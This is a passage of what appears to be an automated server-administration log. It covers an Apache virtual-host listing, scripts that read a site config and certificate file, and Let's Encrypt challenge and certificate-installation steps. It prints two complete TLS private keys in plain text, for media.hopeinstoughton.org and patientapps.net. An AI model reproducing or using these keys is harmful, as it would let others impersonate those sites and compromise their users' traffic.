         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-14 06:01:16: 

PUT: /tmp/pkp755665

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:01:16: 

chmod 755 /tmp/pkp755665; /tmp/pkp755665; rm /tmp/pkp755665

2025-12-14 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf	1673

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-14 06:01:16: 

PUT: /tmp/pkp648861

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:01:16: 

chmod 755 /tmp/pkp648861; /tmp/pkp648861; rm /tmp/pkp648861

2025-12-14 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt	5381
f3:fd:a7:e5:61:7c:f9:10:bb:b0:6f:fc:cc:97:05:1b

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBePKCD4yAOGfoUMxuUJzOHMTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMjQ1WhcNMjYwMzE0MDUwMjQ0WjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAx4sZ+Lp6LLo2r17jO32Otw7dsg42CIhhS6gVSGBLTNuc3ysK
isjadnl2EDiR0FQY8IBbefWzqoh2Zu/Fj75iRPpq1ex+OqrydU5QhUErucPCqynJ
jNexwHV7pJvm+V/1tSWLtNMoHqCTqwYhxM9T2787yY4w49MyZMGRVHZEC3RRw0r4
4x34OmUCCgDDK8PFgV8AzH9C4tK/IYCTaGxEEn68lxrzHVaaiCncKNyEOvUU1e5x
FyfSTwAmMn4JZ+ZZ+HEXegKV4RvkirU3Ny5ByPoN9Yi6W6t7H8ATgPIN7XX+tOI/
TCeLri6Nwnedn6xBye/xBxdPDq/sM5LvQpzsPQIDAQABo4ICKjCCAiYwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBTGjNLkMRs4SAX+EJeu4Z3g+lFzGTAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1lZGlhLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMC5jcmwwggEFBgorBgEE
AdZ5AgQCBIH2BIHzAPEAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34
wwAAAZsbcu3KAAAEAwBHMEUCIG5DIhK/GwZl9BrxZqb5QjyEMwKOFdl/rf3OcSjF
TLV6AiEA+d2IsTfPzFw0hKiKeM+1sVvRR/ajMk6LIw7xclBqFeAAdwAOV5S8866p
PjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZsbcu3HAAAEAwBIMEYCIQC20HO3
ZsSQeuCLc6BrnYsW1zzY2U9qUUOFULdNy8DJHgIhALiq9pfYflcg5lC1mWuz4blW
ieoht447zHogkbQdDwcwMA0GCSqGSIb3DQEBCwUAA4IBAQBZ+CHqMwvpPmCDXQxh
nle2C5jyWE6N29Xo+s4t8DmVs7R3xAH+gJBg3PImZewshWsn3f/KFZbaO2dAtQs9
X7bzIqpba3T+AGXrxVGoaH35kNkMI3irKEJQNPqe/jjQxGQy7qiJ/YrX3eoBKTcL
j0Buh7vCCI8jbGi9KMA3avhYjMWalU+KvmjyNSQqpybD+jxjNYB2WijylI8K4E9C
gdbqfcfj/itZr4IcogV1M4NSdgKrBPhsDrEpIbEC52a5s+qIt58h3FNdPX/bXJMH
D5c9VJUihAXCQ3TKfFccStapvovy3Z1uEq0D84aZqd9gAiPfiXyT+MJzwSOwM6Eq
09Ai
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHixn4unosujav
XuM7fY63Dt2yDjYIiGFLqBVIYEtM25zfKwqKyNp2eXYQOJHQVBjwgFt59bOqiHZm
78WPvmJE+mrV7H46qvJ1TlCFQSu5w8KrKcmM17HAdXukm+b5X/W1JYu00ygeoJOr
BiHEz1PbvzvJjjDj0zJkwZFUdkQLdFHDSvjjHfg6ZQIKAMMrw8WBXwDMf0Li0r8h
gJNobEQSfryXGvMdVpqIKdwo3IQ69RTV7nEXJ9JPACYyfgln5ln4cRd6ApXhG+SK
tTc3LkHI+g31iLpbq3sfwBOA8g3tdf604j9MJ4uuLo3Cd52frEHJ7/EHF08Or+wz
ku9CnOw9AgMBAAECggEAB3gAZ9vq+MObimLd1Hs1nUp0J9b6VMVuBtvquAPKrbzG
mV/ODDXKX4baUW8cnhSXvmC/i8gTin2DGQU+esvgd757wzgP3XhKjPN6dhJjZZeb
MLbmsVvdblu3Xgjr00exNa+LFCCXLtZJ0KvxFaHA/MeioD+vOsfL6hOIsgWfNGJ8
RZbxg1bc6SjwKgQXtWGmhly9zCKPus7nf14+pVy0RHJs5HsCI+G1Z2OanGn0zm/z
PSVnUuzMuEaemYDomhjAGQc9Sqx4+1CDbw8jAdVzdtrXyTBXqq6UXzNbUzDJew5u
jgbdVSp2Xx9MNk6YEoSXS6p4LyZRx+G/cRvds6wfIQKBgQDiDA716TqQyPDY2e7o
/1qz50rrkH6D8beUUo5XkMVW1f56jF+7YdA/6T0TtPh0PrlCA3OFWoQleVXpB4S9
yxVLOA42nuGwHgBk1Yb3lyLVWMYONZ4W/xjq/+yGuAtxS9RTWD+n5ebQssb9MYMj
GgJZPZgcYKniew4MY7CQINFWiQKBgQDh+/yMfukeLb0TfDoqK28G9KMKz6NAap8n
O00G+M15lmOF4xWHyia6hPAfYmc49V8G/j7CYA6u6frse7JsLEcSHTu1jgeS0QpO
Li5Ykh3dU3i06zag9W/owCecYceL2G5Cbh/JzZe2VEBKKcLd96mCqgGkru68ZIKI
KbUz3rV7FQKBgQCKsoNrd9Orit/c7ruc0zHAOSbLKzm1k9bkd1NHf1jWUy912jPT
Mc0pqd8D/IKGMQZS7vMu279BjxWbijV0jutd3+M4uHwaKA5t0Gaj/GQvK+06QsPh
sFyFtMpYTw0WU0TQbtGAH5xkaY2XRY4FN6xBPX3by6PxhzezemeXx8sqoQKBgQCW
MIb0SRRdvkA/RvzRMfSkRsplUQJKuZH03PCghZLqEA0s2nNgv/VlWRzNfvTjYhA5
8Zd8T6LylQbzTHKUegjx/QPF8hMOfGfA9ehPbSzz/5nlg73W08gAhFTPFh0s0DbX
Z6Ew2bbOssfXglHEe+joslxNOwXnp1Upca7APm+W0QKBgQDZ3tBAIYP3rLUtArsl
bsZ9m32RGK2LS83ZXw6Kpgy2D3T33MgiVU41niuvLsJRYfDBPRzm9yXCve0cUM6Y
JdRYyEAdfsl7iQNnb1zrPDEw1wswvep8T3/f6JVZuONzcwrzMheLOjaT0T7ASqmG
tVuYnZqlXy9lGOCpdDvB8Rj+Cw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-14 06:01:16: Establishing a connection
2025-12-14 06:01:17: Establishing a connection
2025-12-14 06:01:17: 

PUT: /tmp/pkp210059

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-14 06:01:17: 

chmod 755 /tmp/pkp210059; /tmp/pkp210059; rm /tmp/pkp210059

2025-12-14 06:01:17: 


1


2025-12-14 06:01:18: Establishing a connection
2025-12-14 06:01:18: 

PUT: /tmp/pkp973350

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
cat > dPhGY69LpeBHXne4_fq0X8bgo9oHudZ1MLCWt4uXcQU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
dPhGY69LpeBHXne4_fq0X8bgo9oHudZ1MLCWt4uXcQU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 dPhGY69LpeBHXne4_fq0X8bgo9oHudZ1MLCWt4uXcQU
cat > btDyQyvbCNkW2u8lP6MKDvPczZ2x2UuQPeXjrMxusFk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
btDyQyvbCNkW2u8lP6MKDvPczZ2x2UuQPeXjrMxusFk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 btDyQyvbCNkW2u8lP6MKDvPczZ2x2UuQPeXjrMxusFk


2025-12-14 06:01:18: 

chmod 755 /tmp/pkp973350; /tmp/pkp973350; rm /tmp/pkp973350

2025-12-14 06:01:18: 




2025-12-14 06:01:26: Establishing a connection
2025-12-14 06:01:26: 

PUT: /tmp/pkp963313

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
rm dPhGY69LpeBHXne4_fq0X8bgo9oHudZ1MLCWt4uXcQU
rm btDyQyvbCNkW2u8lP6MKDvPczZ2x2UuQPeXjrMxusFk


2025-12-14 06:01:26: 

chmod 755 /tmp/pkp963313; /tmp/pkp963313; rm /tmp/pkp963313

2025-12-14 06:01:26: 




2025-12-14 06:01:26: Establishing a connection
2025-12-14 06:01:26: 

PUT: /tmp/pkp811213

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8.crt

cat > $temp_file <<'endmsg'
9a:a1:26:22:87:33:1b:11:50:be:29:5d:d3:29:9c:9c

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBf6f049eTmVtg2mhpo1CVvJIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjE0MDUwMjUzWhcNMjYwMzE0MDUwMjUyWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdnijUupoQ6H6eT3khH8Ak7jnRitOB/QbliEVhl/U9/pIIiAwgJc1vldEJJwOK
jiAljEoFB8mzHCwZuf1GtSD5TcqnDJ2V85q+nGVtKGEXGqVPRqd3jO/bwTCDbBIF
WFDmHwDm9Gpg8kzrPT7ft7fHKFIQzLDK+MxsCmWn3BocMKB0LAA73SoWl/4C5/Ug
ALym9CKcOFhRgKNS2/dPWUd5M4YE/kL3MKdlRo/fotQwUuh5KbKyq/uQ9qsU063k
CTCpCu7jnJkHPQPjVGdpUHft4lYBB08cMdwMp1DZvSMubgxjGntxKABKX6s8JIaH
ZHk6GoUW/xhF7lKu2IXF2DTlAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFJPYvAuR8C2JmpcCPYVySQwJqX59MB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcGF0aWVudGFwcHMubmV0ghN3
d3cucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzMuY3JsMIIBCwYKKwYB
BAHWeQIEAgSB/ASB+QD3AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbG3MOQgAABAMARzBFAiEAkRFjbx9zB1fomBnfrWWZRQi586JKzNSfOhdd
9UFW3mYCIGWr5SKvxEvlqnEgmq3c9f7Th+aNkF12IyHuqlTbjWzuAH0AGoudaUpX
mMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGbG3MW0gAIAAAFACPlXOoEAwBG
MEQCIEsaKywm74QxL1hv8RSnld9GpQeBsxHkL4ZQj3PPm9jZAiBUb5imao6CHnr/
PmYjLJGDbp9uVRBHccmxbXYwz3WsMjANBgkqhkiG9w0BAQsFAAOCAQEAXJbsYlT1
BzrqKivUgthd/aDDVA8vGd8ZgWB0GatXzeEqf+n3Pqe3JI22Ry/y9VGYZOvE3gDC
dO/64hfi7zAABbuszWRP92kYDhdMoJprMoRYRDberRQ7JIoaBseOGaProcpSGC1i
UohFD40yd/WilZEBzoX814C0FfnNf7fbBDApv+XvwKyiicFn584zbaA/3z8w0ios
6Y3LVUJkJ+QuHk7WUuFr0MbJqv0w/h68i/RU6DaNbCGc6dhygsY9FGhD/3R7lmOJ
m6Fk11Nm9HlV4WO+G8/KtrbGB0EAzOttaL2z5tQWASn2siaHFDFajMtbYdpeDtir
2P1EFL51RlwGIw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDdnijUupoQ6H6e
T3khH8Ak7jnRitOB/QbliEVhl/U9/pIIiAwgJc1vldEJJwOKjiAljEoFB8mzHCwZ
uf1GtSD5TcqnDJ2V85q+nGVtKGEXGqVPRqd3jO/bwTCDbBIFWFDmHwDm9Gpg8kzr
PT7ft7fHKFIQzLDK+MxsCmWn3BocMKB0LAA73SoWl/4C5/UgALym9CKcOFhRgKNS
2/dPWUd5M4YE/kL3MKdlRo/fotQwUuh5KbKyq/uQ9qsU063kCTCpCu7jnJkHPQPj
VGdpUHft4lYBB08cMdwMp1DZvSMubgxjGntxKABKX6s8JIaHZHk6GoUW/xhF7lKu
2IXF2DTlAgMBAAECggEAV2ISdXayYvJZYrCxcUckqysnryDPLxUG0CCAQu/46h3j
lOuX5GEjdNkc2EAC3HIX6NY9JWihtjboiKhWXrfyrXpn6qBFzqeEH55pO7ZNOh/u
iKiyRahTt1GggGFvZZ4iH+qfn3FGNL21aJf4n5vAIg4a9bbQCug5KmybEqntvakO
2zhqGKVCcSohqWEB0mBHu+rIh7AkBWAOweg1RtEd8sOhlj2oQLD+1YHL3A0Zl/y7
tTY0iWSgxP1TzKJIhhmNfypIMZx5t6h/jNmit7dlXestfcCdAU+Y7onH6RoMlaN8
EFe+xwD9q7y82iZHF8fAyGQWS/krX8YQcyQwMPHgQQKBgQD2H7nAG7JAO+iim+PH
+SuJG1mFB0JqcqGtc8s63frA0b5PVgwb5WgghRJBlKQsjEJBQQEKtjBJaGqrGnf/
o4fF8hnXFIxdk4AZ6gN89ok5Un5pLYq4uRGlfm9RzIRVvCROAovkUIYYxOMxfIzD
NlWZHJPLN5GKiNER4nHG79IN1QKBgQDmgrK69W0rPAhmiFN3yQZgltzglhz0Z2eh
6X9c4diwNEQ4p/WQx+LxY1ftRJNZPPPWZ9xRPzGK2ix4qYc6qAe5+zEEgvaPhPQm
4IcPd2JBI9cgYag/tDnwQYiVSdn8/fFRrqJGGk3oi2WBhDNdnQ3hEypFAyWjIMB7
9Z3xR6JC0QKBgQC8kTP8Rnv8EKo8o1kR5gp/4i9k51nwOmE6hiPntxid0FSRbiia
2tk7SRjim+JoqxE783S74zf9lf1bmEzl1EF62/EGQx0DuLWFpTAE9tHN1DE7ngPR
YSFu/P6G2j1tflcGWZcaVsNWiMpUKMuj6KYOR8HICYv9arNbk3V+aFEz/QKBgD4M
RmIO+FDf+v7miVlAEmhjk5ccsTSUtQ+fU7pDzNk5aHe7tl0/gPYrIJrsj6FAx/4Z
vPNdyE8xBTGBqLYATvwgAoTNX+MoDbR9Ub23DAquxBSiVPC46bOjYEmXNIdmL9Ql
5uZp5DjJdQxU8qKrSPYh+4nSHAp6IXX8moQ9HQ9RAoGBAJUgZ/G8Sadpl0mQ5xnp
5qu8WrYrnjPGYVJ4njR8HECs/b+UsdvKWKQkuAF94DIQpobKYTVeL5wZETMmEUPo
a4MxZ8yNlq/c5pY1QDiIghdRgHSieulJAqN0RjE9hOuI4KfFJvpjjskU24tRerMf
tzOYDcfhO2zlQw3EPxoY/CIP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
